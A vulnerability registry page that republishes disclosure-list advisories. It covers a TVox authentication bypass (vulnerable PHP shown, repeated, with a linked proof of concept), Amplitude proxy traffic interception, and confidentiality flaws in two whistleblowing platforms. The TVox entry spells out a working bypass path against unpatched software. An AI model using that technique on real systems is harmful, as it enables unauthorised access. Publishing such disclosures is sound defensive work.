- GNA identifier
- GNA-1988 GCVE registry Recent publications
Recent vulnerabilities
581 GCVE records assigned by this organization as GNA-1988GCVE-1988-2026-0295
Vulnerability from gna-1988 – Published: 2026-09-08 11:40 – Updated: 2026-11-02 08:49
VLAI
EPSS
VEX
Title
[KIS-2026-14] Telenia Software TVox <= 26.5.3 (set_env.php) Authentication Bypass Vulnerability
Summary
---------------------------------------------------------------------------------
Telenia Software TVox <= 26.5.3 (set_env.php) Authentication Bypass
Vulnerability
---------------------------------------------------------------------------------
[-] Software Link:
https://www.teleniasoftware.com
[-] Affected Versions:
Version 26.5.3 and prior 26.x versions.
Version 24.9.21 and prior 24.x versions.
Older versions may be affected as well.
[-] Vulnerability Description:
The vulnerable code is located within the
/opt/telenia/tvox/php/siti/t-vox/manager/set_env.php script. Specifically,
into the redirectToLoginAdminIRequestHaveAccessToken() function:
293. function redirectToLoginAdminIRequestHaveAccessToken($force = false) {
294. $current_page = str_replace("/", "", strrchr($_SERVER['PHP_SELF'],
"/"));
295. if ($current_page != "login_admin.php") {
296. $request_uri = $_SERVER["REQUEST_URI"];
297. $accessToken = @trim($force ? $_REQUEST["access_token"] :
$_GET["access_token"]);
298.
299. if ($accessToken !== "" && (!isset($_SESSION["wso2auth"]) || (
isset($_SESSION["wso2auth"]) && $_SESSION["wso2auth"]->accessToken !==
trim($accessToken)) )) {
300. $force = true;
301. if (@trim($_GET["access_token"]) != "") {
302. $parsedUrl = parse_url($request_uri);
303. $parsedUrl["query"] =
query_string_exclude(array('access_token'), $_GET);
304. if ($parsedUrl["query"] != "") {
305. $request_uri = $parsedUrl["path"] . "?" .
$parsedUrl["query"];
306. }
307. }
308. }
309.
310. if ($force) {
311. $_SESSION["request_uri"] = $request_uri;
312. unset($_REQUEST["access_token"]);
313. $_SESSION['requestSave'] = $_REQUEST;
314. header("Location: /tvox/manager/html/login_admin.php" . (
$accessToken === "" ? "" : "?access_token=" . $accessToken ));
315. exit;
316. }
317. }
318. }
This function is invoked to verify whether the user is already
authenticated. If the user is not authenticated, execution reaches line
314, where the user is redirected to the login page, and it terminates at
line 315 via an exit statement. The issue is that this authentication check
is only enforced when the value of the $current_page variable differs from
"login_admin.php" (line 295). Since $current_page is populated using the
value of $_SERVER['PHP_SELF'] (at line 294), an attacker can bypass the
authentication check by simply appending the string "/login_admin.php" to
the path of the target PHP script. As a result, the application incorrectly
treats the request as if it were targeting the login page, allowing
unauthenticated access to all PHP scripts exposed under the
/tvox/manager/html/ path.
[-] Proof of Concept:
https://karmainsecurity.com/pocs/tvox_root_rce.php
[-] Solution:
No official solution is currently available.
[-] Disclosure Timeline:
[22/05/2026] - Vendor was contacted, no response
[26/05/2026] - Vendor was notified about this vulnerability, no response
[27/05/2026] - Vendor was notified about 60-day disclosure deadline policy,
no response
[26/06/2026] - Vendor was contacted again along with CSIRT Italy, no
response from CSIRT
[08/07/2026] - First vendor response, asking for vulnerability details
[09/07/2026] - Vulnerability details safely provided to the vendor
[20/07/2026] - Vendor was contacted again, asking for an update
[21/07/2026] - Vendor replied a security patch will be released by the end
of July
[21/07/2026] - CVE identifier requested
[21/07/2026] - CVE identifier assigned
[27/07/2026] - Reached 60-day disclosure deadline, still no official
solution
[03/08/2026] - Public disclosure
[-] CVE Reference:
CVE-2026-64827 has been assigned to this vulnerability.
[-] Credits:
Vulnerability discovered by Egidio Romano.
[-] Original Advisory:
https://karmainsecurity.com/KIS-2026-14
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Telenia Software | TVox |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0295 (this record)
- related CVE-2026-64827
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"affected": [
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"vendor": "Telenia Software",
"versions": [
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"value": "---------------------------------------------------------------------------------\nTelenia Software TVox \u003c= 26.5.3 (set_env.php) Authentication Bypass\nVulnerability\n---------------------------------------------------------------------------------\n\n\n[-] Software Link:\n\nhttps://www.teleniasoftware.com\n\n\n[-] Affected Versions:\n\nVersion 26.5.3 and prior 26.x versions.\nVersion 24.9.21 and prior 24.x versions.\nOlder versions may be affected as well.\n\n\n[-] Vulnerability Description:\n\nThe vulnerable code is located within the\n/opt/telenia/tvox/php/siti/t-vox/manager/set_env.php script. Specifically,\ninto the redirectToLoginAdminIRequestHaveAccessToken() function:\n\n293. function redirectToLoginAdminIRequestHaveAccessToken($force = false) {\n294. $current_page = str_replace(\"/\", \"\", strrchr($_SERVER[\u0027PHP_SELF\u0027],\n\"/\"));\n295. if ($current_page != \"login_admin.php\") {\n296. $request_uri = $_SERVER[\"REQUEST_URI\"];\n297. $accessToken = @trim($force ? $_REQUEST[\"access_token\"] :\n$_GET[\"access_token\"]);\n298.\n299. if ($accessToken !== \"\" \u0026\u0026 (!isset($_SESSION[\"wso2auth\"]) || (\nisset($_SESSION[\"wso2auth\"]) \u0026\u0026 $_SESSION[\"wso2auth\"]-\u003eaccessToken !==\ntrim($accessToken)) )) {\n300. $force = true;\n301. if (@trim($_GET[\"access_token\"]) != \"\") {\n302. $parsedUrl = parse_url($request_uri);\n303. $parsedUrl[\"query\"] =\nquery_string_exclude(array(\u0027access_token\u0027), $_GET);\n304. if ($parsedUrl[\"query\"] != \"\") {\n305. $request_uri = $parsedUrl[\"path\"] . \"?\" .\n$parsedUrl[\"query\"];\n306. }\n307. }\n308. }\n309.\n310. if ($force) {\n311. $_SESSION[\"request_uri\"] = $request_uri;\n312. unset($_REQUEST[\"access_token\"]);\n313. $_SESSION[\u0027requestSave\u0027] = $_REQUEST;\n314. header(\"Location: /tvox/manager/html/login_admin.php\" . (\n$accessToken === \"\" ? \"\" : \"?access_token=\" . $accessToken ));\n315. exit;\n316. }\n317. }\n318. }\n\nThis function is invoked to verify whether the user is already\nauthenticated. If the user is not authenticated, execution reaches line\n314, where the user is redirected to the login page, and it terminates at\nline 315 via an exit statement. The issue is that this authentication check\nis only enforced when the value of the $current_page variable differs from\n\"login_admin.php\" (line 295). Since $current_page is populated using the\nvalue of $_SERVER[\u0027PHP_SELF\u0027] (at line 294), an attacker can bypass the\nauthentication check by simply appending the string \"/login_admin.php\" to\nthe path of the target PHP script. As a result, the application incorrectly\ntreats the request as if it were targeting the login page, allowing\nunauthenticated access to all PHP scripts exposed under the\n/tvox/manager/html/ path.\n\n\n[-] Proof of Concept:\n\nhttps://karmainsecurity.com/pocs/tvox_root_rce.php\n\n\n[-] Solution:\n\nNo official solution is currently available.\n\n\n[-] Disclosure Timeline:\n\n[22/05/2026] - Vendor was contacted, no response\n[26/05/2026] - Vendor was notified about this vulnerability, no response\n[27/05/2026] - Vendor was notified about 60-day disclosure deadline policy,\nno response\n[26/06/2026] - Vendor was contacted again along with CSIRT Italy, no\nresponse from CSIRT\n[08/07/2026] - First vendor response, asking for vulnerability details\n[09/07/2026] - Vulnerability details safely provided to the vendor\n[20/07/2026] - Vendor was contacted again, asking for an update\n[21/07/2026] - Vendor replied a security patch will be released by the end\nof July\n[21/07/2026] - CVE identifier requested\n[21/07/2026] - CVE identifier assigned\n[27/07/2026] - Reached 60-day disclosure deadline, still no official\nsolution\n[03/08/2026] - Public disclosure\n\n\n[-] CVE Reference:\n\nCVE-2026-64827 has been assigned to this vulnerability.\n\n\n[-] Credits:\n\nVulnerability discovered by Egidio Romano.\n\n\n[-] Original Advisory:\n\nhttps://karmainsecurity.com/KIS-2026-14\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0061
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-11-02 08:49
VLAI
EPSS
VEX
Title
[KIS-2026-14] Telenia Software TVox <= 26.5.3 (set_env.php) Authentication Bypass Vulnerability
Summary
---------------------------------------------------------------------------------
Telenia Software TVox <= 26.5.3 (set_env.php) Authentication Bypass
Vulnerability
---------------------------------------------------------------------------------
[-] Software Link:
https://www.teleniasoftware.com
[-] Affected Versions:
Version 26.5.3 and prior 26.x versions.
Version 24.9.21 and prior 24.x versions.
Older versions may be affected as well.
[-] Vulnerability Description:
The vulnerable code is located within the
/opt/telenia/tvox/php/siti/t-vox/manager/set_env.php script. Specifically,
into the redirectToLoginAdminIRequestHaveAccessToken() function:
293. function redirectToLoginAdminIRequestHaveAccessToken($force = false) {
294. $current_page = str_replace("/", "", strrchr($_SERVER['PHP_SELF'],
"/"));
295. if ($current_page != "login_admin.php") {
296. $request_uri = $_SERVER["REQUEST_URI"];
297. $accessToken = @trim($force ? $_REQUEST["access_token"] :
$_GET["access_token"]);
298.
299. if ($accessToken !== "" && (!isset($_SESSION["wso2auth"]) || (
isset($_SESSION["wso2auth"]) && $_SESSION["wso2auth"]->accessToken !==
trim($accessToken)) )) {
300. $force = true;
301. if (@trim($_GET["access_token"]) != "") {
302. $parsedUrl = parse_url($request_uri);
303. $parsedUrl["query"] =
query_string_exclude(array('access_token'), $_GET);
304. if ($parsedUrl["query"] != "") {
305. $request_uri = $parsedUrl["path"] . "?" .
$parsedUrl["query"];
306. }
307. }
308. }
309.
310. if ($force) {
311. $_SESSION["request_uri"] = $request_uri;
312. unset($_REQUEST["access_token"]);
313. $_SESSION['requestSave'] = $_REQUEST;
314. header("Location: /tvox/manager/html/login_admin.php" . (
$accessToken === "" ? "" : "?access_token=" . $accessToken ));
315. exit;
316. }
317. }
318. }
This function is invoked to verify whether the user is already
authenticated. If the user is not authenticated, execution reaches line
314, where the user is redirected to the login page, and it terminates at
line 315 via an exit statement. The issue is that this authentication check
is only enforced when the value of the $current_page variable differs from
"login_admin.php" (line 295). Since $current_page is populated using the
value of $_SERVER['PHP_SELF'] (at line 294), an attacker can bypass the
authentication check by simply appending the string "/login_admin.php" to
the path of the target PHP script. As a result, the application incorrectly
treats the request as if it were targeting the login page, allowing
unauthenticated access to all PHP scripts exposed under the
/tvox/manager/html/ path.
[-] Proof of Concept:
https://karmainsecurity.com/pocs/tvox_root_rce.php
[-] Solution:
No official solution is currently available.
[-] Disclosure Timeline:
[22/05/2026] - Vendor was contacted, no response
[26/05/2026] - Vendor was notified about this vulnerability, no response
[27/05/2026] - Vendor was notified about 60-day disclosure deadline policy,
no response
[26/06/2026] - Vendor was contacted again along with CSIRT Italy, no
response from CSIRT
[08/07/2026] - First vendor response, asking for vulnerability details
[09/07/2026] - Vulnerability details safely provided to the vendor
[20/07/2026] - Vendor was contacted again, asking for an update
[21/07/2026] - Vendor replied a security patch will be released by the end
of July
[21/07/2026] - CVE identifier requested
[21/07/2026] - CVE identifier assigned
[27/07/2026] - Reached 60-day disclosure deadline, still no official
solution
[03/08/2026] - Public disclosure
[-] CVE Reference:
CVE-2026-64827 has been assigned to this vulnerability.
[-] Credits:
Vulnerability discovered by Egidio Romano.
[-] Original Advisory:
https://karmainsecurity.com/KIS-2026-14
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Telenia Software | TVox |
Affected:
unknown
|
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GCVE-1988-2026-0520
Vulnerability from gna-1988 – Published: 2026-11-02 08:44 – Updated: 2026-11-02 08:44
VLAI
EPSS
VEX
Title
Amplitude customers using domain proxies should update their configuration immediately.
Summary
After receiving live analytics requests intended for `api2.amplitude.com`,
I contacted `security () amplitude com` and was invited to submit the issue
through Amplitude's private Bugcrowd programme.
In my view, Amplitude's handling of the report, including closing it as
"Not applicable" despite evidence of intercepted customer traffic, caused
by insecure configurations and documentation, constitutes a negligent
approach to protecting customer data, and a bad-faith bug bounty programme.
Two conditions combined to make interception possible.
1. Stale DNS and ephemeral IP reuse
Amplitude infrastructure used ephemeral addresses from an AWS public IP
pool. After an address was released, it could be reassigned to another
party, while systems with a cached DNS answer continued sending traffic to
it until the cached record expired.
This is not a conventional dangling-CNAME takeover. It is an IP "afterlife"
condition involving stale DNS resolutions and recycled public-cloud
addresses.
2. Missing upstream TLS certificate validation
Amplitude's documentation recommends using a domain proxy to front its
services. However, its example NGINX configuration does not enable
validation of the upstream TLS certificate. Similar certificate-validation
gaps also exist in default or commonly deployed configurations for some
cloud load balancers, CDNs and WAFs.
Consequently, affected customer proxies accepted invalid or self-signed
certificates when forwarding requests towards `api2.amplitude.com`.
The combination of stale address resolution and missing certificate
validation enabled traffic intended for Amplitude to be intercepted by a
party controlling a reassigned cloud address. The duration and full scope
of the exposure are not known.
The sample intercepted traffic provided privately to Amplitude contained
requests originating from the following sites:
* `www.f5.com`
* `uplatform.team`
* `mystylus.ai`
No captured traffic, identifiers, payloads or user data are being disclosed.
Timeline:
* 26 June 2026: Contacted `security () amplitude com`.
* 9 July 2026: Received an invitation to Amplitude's private Bugcrowd
programme and submitted the report.
* 16 July 2026: Amplitude disputed that the evidence demonstrated
interception.
* 17 July 2026: I clarified that the requests contained data categorised as
personal data in Amplitude's own documentation, including persistent device
identifiers, session identifiers and linkable usage data.
* 18 and 20 July 2026: Reported additional batches of live traffic.
* 20 July 2026: Identified that Amplitude's recommended NGINX domain-proxy
configuration omitted upstream certificate validation.
* 21 July 2026: Amplitude acknowledged that the captured traffic had passed
through customer domain proxies that did not validate upstream
certificates. Bugcrowd subsequently closed the report as "Not applicable".
Recommended action:
Amplitude should contact affected customers, advise them of the potential
interception of personal data, review its DNS and load-balancer
architecture, and revise its domain-proxy documentation so that upstream
certificate and hostname validation are enabled by default.
Customers should enable certificate-chain and hostname validation on every
HTTPS connection from a proxy, CDN, WAF, service mesh or load balancer to
Amplitude.
Customers should also review DNS caches and forwarding logs, identify
traffic sent to previously assigned cloud addresses, assess whether
analytics events were intercepted or lost, and rotate any sensitive values
present in affected requests.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Jul/27 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Amplitude customers using |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Amplitude customers using",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "shed riot"
}
],
"descriptions": [
{
"lang": "en",
"value": "After receiving live analytics requests intended for `api2.amplitude.com`,\nI contacted `security () amplitude com` and was invited to submit the issue\nthrough Amplitude\u0027s private Bugcrowd programme.\n\nIn my view, Amplitude\u0027s handling of the report, including closing it as\n\"Not applicable\" despite evidence of intercepted customer traffic, caused\nby insecure configurations and documentation, constitutes a negligent\napproach to protecting customer data, and a bad-faith bug bounty programme.\n\nTwo conditions combined to make interception possible.\n\n1. Stale DNS and ephemeral IP reuse\n\nAmplitude infrastructure used ephemeral addresses from an AWS public IP\npool. After an address was released, it could be reassigned to another\nparty, while systems with a cached DNS answer continued sending traffic to\nit until the cached record expired.\n\nThis is not a conventional dangling-CNAME takeover. It is an IP \"afterlife\"\ncondition involving stale DNS resolutions and recycled public-cloud\naddresses.\n\n2. Missing upstream TLS certificate validation\n\nAmplitude\u0027s documentation recommends using a domain proxy to front its\nservices. However, its example NGINX configuration does not enable\nvalidation of the upstream TLS certificate. Similar certificate-validation\ngaps also exist in default or commonly deployed configurations for some\ncloud load balancers, CDNs and WAFs.\n\nConsequently, affected customer proxies accepted invalid or self-signed\ncertificates when forwarding requests towards `api2.amplitude.com`.\n\nThe combination of stale address resolution and missing certificate\nvalidation enabled traffic intended for Amplitude to be intercepted by a\nparty controlling a reassigned cloud address. The duration and full scope\nof the exposure are not known.\n\nThe sample intercepted traffic provided privately to Amplitude contained\nrequests originating from the following sites:\n\n* `www.f5.com`\n* `uplatform.team`\n* `mystylus.ai`\n\nNo captured traffic, identifiers, payloads or user data are being disclosed.\n\nTimeline:\n\n* 26 June 2026: Contacted `security () amplitude com`.\n* 9 July 2026: Received an invitation to Amplitude\u0027s private Bugcrowd\nprogramme and submitted the report.\n* 16 July 2026: Amplitude disputed that the evidence demonstrated\ninterception.\n* 17 July 2026: I clarified that the requests contained data categorised as\npersonal data in Amplitude\u0027s own documentation, including persistent device\nidentifiers, session identifiers and linkable usage data.\n* 18 and 20 July 2026: Reported additional batches of live traffic.\n* 20 July 2026: Identified that Amplitude\u0027s recommended NGINX domain-proxy\nconfiguration omitted upstream certificate validation.\n* 21 July 2026: Amplitude acknowledged that the captured traffic had passed\nthrough customer domain proxies that did not validate upstream\ncertificates. Bugcrowd subsequently closed the report as \"Not applicable\".\n\nRecommended action:\n\nAmplitude should contact affected customers, advise them of the potential\ninterception of personal data, review its DNS and load-balancer\narchitecture, and revise its domain-proxy documentation so that upstream\ncertificate and hostname validation are enabled by default.\n\nCustomers should enable certificate-chain and hostname validation on every\nHTTPS connection from a proxy, CDN, WAF, service mesh or load balancer to\nAmplitude.\n\nCustomers should also review DNS caches and forwarding logs, identify\ntraffic sent to previously assigned cloud addresses, assess whether\nanalytics events were intercepted or lost, and rotate any sensitive values\npresent in affected requests.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
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"title": "Amplitude customers using domain proxies should update their configuration immediately.",
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GCVE-1988-2026-0519
Vulnerability from gna-1988 – Published: 2026-11-02 08:44 – Updated: 2026-11-02 08:44
VLAI
EPSS
VEX
Title
Whistleblowersoftware.com: confidentiality and anonymity leakage to third parties
Summary
Whistleblowersoftware.com: confidentiality and anonymity leakage to third
parties
## Summary
The anonymous reporting flow on `whistleblowersoftware.com` encrypts report
text end-to-end in the browser but does not extend the same guarantee to
attachments and exposes the reporter's network identity and timing to a US-based
third party. Together these weaken the confidentiality and anonymity
properties the platform is expected to provide.
## Components
- `api.whistleblowersoftware.com`: public reporting and mailbox endpoints
- `ws-api-production-occurrence-data.s3.eu-central-1.amazonaws.com`: attachment
storage
- Front-end SPA on `whistleblowersoftware.com`
## Findings
### 1. Attachments are processed in plaintext by third parties (High)
Report text (title, description, and message responses) is encrypted in the
browser before transmission using a hybrid scheme (RSA public key plus AES,
with a PBKDF2-derived passphrase key at 600,000 iterations). Attachments are
not handled the same way.
To strip file metadata, the client uploads the **original, unencrypted** file to
a third-party storage bucket (Amazon S3, `eu-central-1`), the file is processed
off the user's device, and the client then retrieves the cleaned file in
**cleartext** before encrypting and re-uploading it. The plaintext attachment is
therefore handled by parties other than the recipient organisation: the platform
operator, anyone with access to the storage bucket, and Amazon as the cloud
provider can read the full contents of every attachment, and a plaintext copy
persists in the temporary storage prefix until it is removed.
No evidence of a data protection agreement (DPA) between the operator and Amazon
was found, so there is no documented contractual basis constraining how the
cloud provider may process or retain the plaintext attachments it receives.
Endpoints involved:
```text
POST /api/companies/file-entries/signed-s3-url/public # request upload URL
POST / # upload original file
POST /api/companies/file-entries/remove-metadata/public # server strips metadata
GET /tmp/ # cleaned file, in cleartext
```
On a whistleblowing platform, attachments are frequently the most sensitive and
most deanonymizing part of a disclosure (documents, photos, embedded
EXIF/author/GPS metadata). Stripping that metadata off the user's device means
the very data a reporter needs hidden is exposed to third parties before it is
removed.
**Impact:** loss of confidentiality for all uploaded evidence; exposure of
deanonymizing file metadata to the operator and the third-party cloud provider;
residual plaintext copies in temporary storage; no documented data protection
agreement governing the cloud provider's handling of that plaintext.
**Recommendation:** perform metadata removal client-side, in the browser,
before encryption, so the server never receives plaintext. If server-side
processing cannot be avoided, stop presenting attachments as end-to-end
encrypted, guarantee immediate verifiable deletion of temporary plaintext
objects (lifecycle in minutes), and treat the metadata-stripping service as an
in-scope, trusted component that sees plaintext.
### 2. Third-party telemetry on the anonymous reporter flow (Medium)
The reporter pages load a third-party error/telemetry SDK that transmits
session data to an externally hosted, US-operated endpoint during the
submission flow. Each session sends the reporter's source IP address, user
agent, application release, and millisecond-precision session start/stop
timestamps with correlatable session identifiers.
No report content was transmitted in this channel, but it discloses the
reporter's network identity and submission timing to a party outside the
recipient organisation, raises cross-border personal-data-transfer concerns for
an EU-targeted service, and is a latent content-leak vector should error capture
or breadcrumbs ever be enabled with default settings.
**Recommendation:** remove third-party telemetry from the reporter flow, or
self-host it within first-party, EU-resident infrastructure; disable PII,
session tracking, and breadcrumb capture on these pages; review all
cross-origin connection targets permitted on the reporter flow against the
anonymity threat model.
## Positive observations
- Report text, message responses, and file names are encrypted client-side
(RSA + AES; PBKDF2 at 600,000 iterations with a per-report salt).
- Strong transport and browser hardening: HSTS with preload, a strict Content
Security Policy (`default-src 'none'` on the API, `frame-ancestors 'none'`,
`object-src 'none'`, mixed content blocked), `X-Frame-Options: DENY`,
`X-Content-Type-Options: nosniff`, a restrictive `Referrer-Policy` and
`Permissions-Policy`.
- CORS restricted to the exact application origin rather than a wildcard.
- Attachment storage uses short-lived temporary credentials, a private ACL, and
upload policies that pin bucket, key, content type, and a content-length
range, with short upload and download expiry windows.
- Rate limiting is applied to report submission.
- The reporting flow uses no cookies, authorization headers, or other
identifying request metadata.
## Severity ranking
1. Attachments processed in plaintext by third parties: High
2. Third-party telemetry on the anonymous reporter flow: Medium
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Jul/16 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Whistleblowersoftware.com confidentiality and |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Whistleblowersoftware.com confidentiality and",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Red Nanaki via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Whistleblowersoftware.com: confidentiality and anonymity leakage to third\nparties\n\n## Summary\n\nThe anonymous reporting flow on `whistleblowersoftware.com` encrypts report\ntext end-to-end in the browser but does not extend the same guarantee to\nattachments and exposes the reporter\u0027s network identity and timing to a US-based\nthird party. Together these weaken the confidentiality and anonymity\nproperties the platform is expected to provide.\n\n## Components\n\n- `api.whistleblowersoftware.com`: public reporting and mailbox endpoints\n- `ws-api-production-occurrence-data.s3.eu-central-1.amazonaws.com`: attachment\nstorage\n- Front-end SPA on `whistleblowersoftware.com`\n\n## Findings\n\n### 1. Attachments are processed in plaintext by third parties (High)\n\nReport text (title, description, and message responses) is encrypted in the\nbrowser before transmission using a hybrid scheme (RSA public key plus AES,\nwith a PBKDF2-derived passphrase key at 600,000 iterations). Attachments are\nnot handled the same way.\n\nTo strip file metadata, the client uploads the **original, unencrypted** file to\na third-party storage bucket (Amazon S3, `eu-central-1`), the file is processed\noff the user\u0027s device, and the client then retrieves the cleaned file in\n**cleartext** before encrypting and re-uploading it. The plaintext attachment is\ntherefore handled by parties other than the recipient organisation: the platform\noperator, anyone with access to the storage bucket, and Amazon as the cloud\nprovider can read the full contents of every attachment, and a plaintext copy\npersists in the temporary storage prefix until it is removed.\n\nNo evidence of a data protection agreement (DPA) between the operator and Amazon\nwas found, so there is no documented contractual basis constraining how the\ncloud provider may process or retain the plaintext attachments it receives.\n\nEndpoints involved:\n\n```text\nPOST /api/companies/file-entries/signed-s3-url/public # request upload URL\nPOST / # upload original file\nPOST /api/companies/file-entries/remove-metadata/public # server strips metadata\nGET /tmp/ # cleaned file, in cleartext\n```\n\nOn a whistleblowing platform, attachments are frequently the most sensitive and\nmost deanonymizing part of a disclosure (documents, photos, embedded\nEXIF/author/GPS metadata). Stripping that metadata off the user\u0027s device means\nthe very data a reporter needs hidden is exposed to third parties before it is\nremoved.\n\n**Impact:** loss of confidentiality for all uploaded evidence; exposure of\ndeanonymizing file metadata to the operator and the third-party cloud provider;\nresidual plaintext copies in temporary storage; no documented data protection\nagreement governing the cloud provider\u0027s handling of that plaintext.\n\n**Recommendation:** perform metadata removal client-side, in the browser,\nbefore encryption, so the server never receives plaintext. If server-side\nprocessing cannot be avoided, stop presenting attachments as end-to-end\nencrypted, guarantee immediate verifiable deletion of temporary plaintext\nobjects (lifecycle in minutes), and treat the metadata-stripping service as an\nin-scope, trusted component that sees plaintext.\n\n### 2. Third-party telemetry on the anonymous reporter flow (Medium)\n\nThe reporter pages load a third-party error/telemetry SDK that transmits\nsession data to an externally hosted, US-operated endpoint during the\nsubmission flow. Each session sends the reporter\u0027s source IP address, user\nagent, application release, and millisecond-precision session start/stop\ntimestamps with correlatable session identifiers.\n\nNo report content was transmitted in this channel, but it discloses the\nreporter\u0027s network identity and submission timing to a party outside the\nrecipient organisation, raises cross-border personal-data-transfer concerns for\nan EU-targeted service, and is a latent content-leak vector should error capture\nor breadcrumbs ever be enabled with default settings.\n\n**Recommendation:** remove third-party telemetry from the reporter flow, or\nself-host it within first-party, EU-resident infrastructure; disable PII,\nsession tracking, and breadcrumb capture on these pages; review all\ncross-origin connection targets permitted on the reporter flow against the\nanonymity threat model.\n\n## Positive observations\n\n- Report text, message responses, and file names are encrypted client-side\n(RSA + AES; PBKDF2 at 600,000 iterations with a per-report salt).\n- Strong transport and browser hardening: HSTS with preload, a strict Content\nSecurity Policy (`default-src \u0027none\u0027` on the API, `frame-ancestors \u0027none\u0027`,\n`object-src \u0027none\u0027`, mixed content blocked), `X-Frame-Options: DENY`,\n`X-Content-Type-Options: nosniff`, a restrictive `Referrer-Policy` and\n`Permissions-Policy`.\n- CORS restricted to the exact application origin rather than a wildcard.\n- Attachment storage uses short-lived temporary credentials, a private ACL, and\nupload policies that pin bucket, key, content type, and a content-length\nrange, with short upload and download expiry windows.\n- Rate limiting is applied to report submission.\n- The reporting flow uses no cookies, authorization headers, or other\nidentifying request metadata.\n\n## Severity ranking\n\n1. Attachments processed in plaintext by third parties: High\n2. Third-party telemetry on the anonymous reporter flow: Medium\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
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GCVE-1988-2026-0518
Vulnerability from gna-1988 – Published: 2026-11-02 08:44 – Updated: 2026-11-02 08:44
VLAI
EPSS
VEX
Title
Whistlelink: Site-access password exposed in web server access logs via GET query string
Summary
Whistlelink: Site-access password exposed in web server access logs via GET
query string
Severity: CRITICAL
SUMMARY
The Whistlelink reporting portal protects optionally-enabled, password-gated
whistleblowing sites with a site-access password. When a visitor unlocks such a
site, the client validates the password by issuing an HTTP GET request that
carries the password as a URL query-string parameter:
GET /sys/api/v1.0/wl/publish_site/check_password?password=
The value is only Base64-encoded (js-base64), which is a reversible transport
encoding, not encryption or hashing. Because the secret travels in the request
line / URI, it is written verbatim into the front-end web server's access log
(the deployment fronts the application with nginx, which logs the full request
URI by default) on every unlock attempt, and is similarly retained by any
reverse proxy, load balancer, WAF, CDN, observability / log-aggregation
pipeline, log backup, and the user's browser history.
Anyone able to read those logs can trivially Base64-decode the value and recover
the cleartext site-access password, defeating the access control for the entire
protected whistleblowing site. For a whistleblowing platform - where the
confidentiality of who may reach the reporting channel is a primary protection
goal - this is treated as CRITICAL.
CVSS
CVSS v3.1 Base: 7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
CVSS v3.1 Environmental (whistleblowing asset, Confidentiality Requirement
High): 9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N/CR:H
CVSS v4.0: High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
The operative rating for this product class is the environmental score: the
protected asset is a whistleblowing channel whose access confidentiality is
paramount (potential whistleblower-safety consequences), justifying CR:H, which
raises the score to 9.8 / Critical and the CRITICAL tag.
Metric justification (v3.1 Base):
- Attack Vector: Network. Access logs are routinely centralized to
network-reachable systems (log/observability platforms, off-host backups,
object storage). If logs are only local files, AV:L applies and the Base
score drops to ~6.
- Attack Complexity: Low. The secret is present, in recoverable form, in every
check_password log line; decoding Base64 is trivial.
- Privileges Required: Low. Reading the logs requires some access to logging /
operations infrastructure - a materially lower and broader-trust bar than
knowing the site password itself. If logs are exposed to an unauthenticated
party (e.g. a misconfigured log bucket), PR:N applies and Base ~ 8.6.
- User Interaction: None. No victim interaction needed to read the stored value.
- Scope: Changed. The vulnerable component (the web application) writes the
secret into a separate security authority (the host / log subsystem), and the
impact lands on the protected site and its users.
- Confidentiality: High. Full disclosure of the site-access credential (and,
where reused, the underlying password), granting access to the protected
whistleblowing site.
- Integrity / Availability: None. The flaw discloses data; it does not directly
modify or deny service.
Score derivation (v3.1):
- ISCBase = 1 - (1 - 0.56) = 0.56
- Impact (Scope Changed) = 7.52 x (0.56 - 0.029) - 3.25 x (0.56 - 0.02)^15 ~
3.99
- Exploitability = 8.22 x 0.85 (AV) x 0.77 (AC) x 0.68 (PR, scope-changed) x
0.85 (UI) ~ 3.11
